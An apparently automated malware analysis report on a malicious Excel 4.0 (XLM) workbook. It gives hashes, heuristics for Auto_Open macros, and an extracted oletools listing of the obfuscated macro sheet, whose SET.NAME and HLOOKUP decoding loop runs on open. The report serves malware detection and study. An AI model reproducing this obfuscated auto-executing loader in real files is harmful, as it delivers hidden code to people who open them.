Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 99e5f6ab3f52449f…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-27 11:38:49 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 6eaf9191503ade096b78836e7e9bc4d0 SHA-1: 2b34709c1c87d99a9987088f4e27eec5b5fc25bf SHA-256: 99e5f6ab3f52449f8a0b6dbf7ec8ea44831de015940196141c7cf15ba7e4f390
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6755 bytes
SHA-256: 250b0536ccd9607ff1297c8d5cb691a90de6d611c6e4ed512e6a15efb69038bd
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  JvFtlxLZ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G128 
' 0018     23 LABEL : Cell Value, String Constant - BhQnhShN len=0 
' 0018     21 LABEL : Cell Value, String Constant - buQkTk len=0 
' 0018     21 LABEL : Cell Value, String Constant - cvQSpe len=0 
' 0018     26 LABEL : Cell Value, String Constant - cVRbrrsaLwY len=0 
' 0018     21 LABEL : Cell Value, String Constant - DqdmcI len=0 
' 0018     26 LABEL : Cell Value, String Constant - dYnfqIqhkLL len=0 
' 0018     25 LABEL : Cell Value, String Constant - HwxHcytFWA len=0 
' 0018     25 LABEL : Cell Value, String Constant - KQuLMLkpAD len=0 
' 0018     27 LABEL : Cell Value, String Constant - mLwJGiBniDQd len=0 
' 0018     26 LABEL : Cell Value, String Constant - mtEXrBFUCoG len=0 
' 0018     25 LABEL : Cell Value, String Constant - oDiKQmglKI len=0 
' 0018     24 LABEL : Cell Value, String Constant - psadymDio len=0 
' 0018     22 LABEL : Cell Value, String Constant - PtiNQSe len=0 
' 0018     21 LABEL : Cell Value, String Constant - PxFxuE len=0 
' 0018     26 LABEL : Cell Value, String Constant - qioLMDEboKr len=0 
' 0018     23 LABEL : Cell Value, String Constant - rsZmPtFO len=0 
' 0018     27 LABEL : Cell Value, String Constant - TrHfTxCrSonJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - xxCxeefjWZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - YvaLLMm len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZVwep len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  JvFtlxLZ,G42,"SET.NAME("TrHfTxCrSonJ",0+VALUE("0"))",""
'  JvFtlxLZ,G44,"SET.NAME("PtiNQSe",TrHfTxCrSonJ)",""
'  JvFtlxLZ,G48,"SET.NAME("ZVwep",TrHfTxCrSonJ)",""
'  JvFtlxLZ,G50,"SET.NAME("mtEXrBFUCoG",COUNTA(PxFxuE))",""
'  JvFtlxLZ,G54,"SET.NAME("buQkTk",COUNTA(BhQnhShN))",""
'  JvFtlxLZ,G56,[],""
'  JvFtlxLZ,G60,"SET.NAME("DqdmcI","")",""
'  JvFtlxLZ,G62,"PtiNQSe",""
'  JvFtlxLZ,G67,"SET.NAME("HwxHcytFWA",HLOOKUP("*",PxFxuE,PtiNQSe,FALSE))",""
'  JvFtlxLZ,G69,"dYnfqIqhkLL",""
'  JvFtlxLZ,G74,"SET.NAME("qioLMDEboKr",TrHfTxCrSonJ)",""
'  JvFtlxLZ,G78,[],""
'  JvFtlxLZ,G81,"qioLMDEboKr",""
'  JvFtlxLZ,G83,"oDiKQmglKI",""
'  JvFtlxLZ,G86,"cVRbrrsaLwY",""
'  JvFtlxLZ,T86,"",-130.00000000000000000000
'  JvFtlxLZ,T87,"",-437.00000000000000000000
'  JvFtlxLZ,T88,"",853.00000000000000000000
'  JvFtlxLZ,T89,"",349.00000000000000000000
'  JvFtlxLZ,G90,"cvQSpe",""
'  JvFtlxLZ,T90,"",-936.00000000000000000000
'  JvFtlxLZ,T91,"",-314.00000000000000000000
'  JvFtlxLZ,G92,"SET.NAME("psadymDio",VALUE(HLOOKUP("*",BhQnhShN,cvQSpe,FALSE)))",""
'  JvFtlxLZ,G97,"KQuLMLkpAD",""
'  JvFtlxLZ,G100,"DqdmcI",""
'  JvFtlxLZ,G103,"ZVwep",""
'  JvFtlxLZ,G106,NEXT(),""
'  JvFtlxLZ,G109,"rsZmPtFO",""
'  JvFtlxLZ,G112,[],""
'  JvFtlxLZ,G116,"xxCxeefjWZ",""
'  JvFtlxLZ,G118,NEXT(),""
'  JvFtlxLZ,G123,RETURN(),""
'  JvFtlxLZ,G160,"SET.NAME("mLwJGiBniDQd",G42)",""
'  JvFtlxLZ,G162,"PxFxuE",""
'  JvFtlxLZ,G167,"SET.NAME("BhQnhShN",R97C11)",""
'  JvFtlxLZ,G171,"SET.NAME("xxCxeefjWZ",180)",""
'  JvFtlxLZ,G175,"SET.NAME("YvaLLMm",7)",""
'  JvFtlxLZ,G179,mLwJGiBniDQd(),""
'  JvFtlxLZ,G180,HALT(),""

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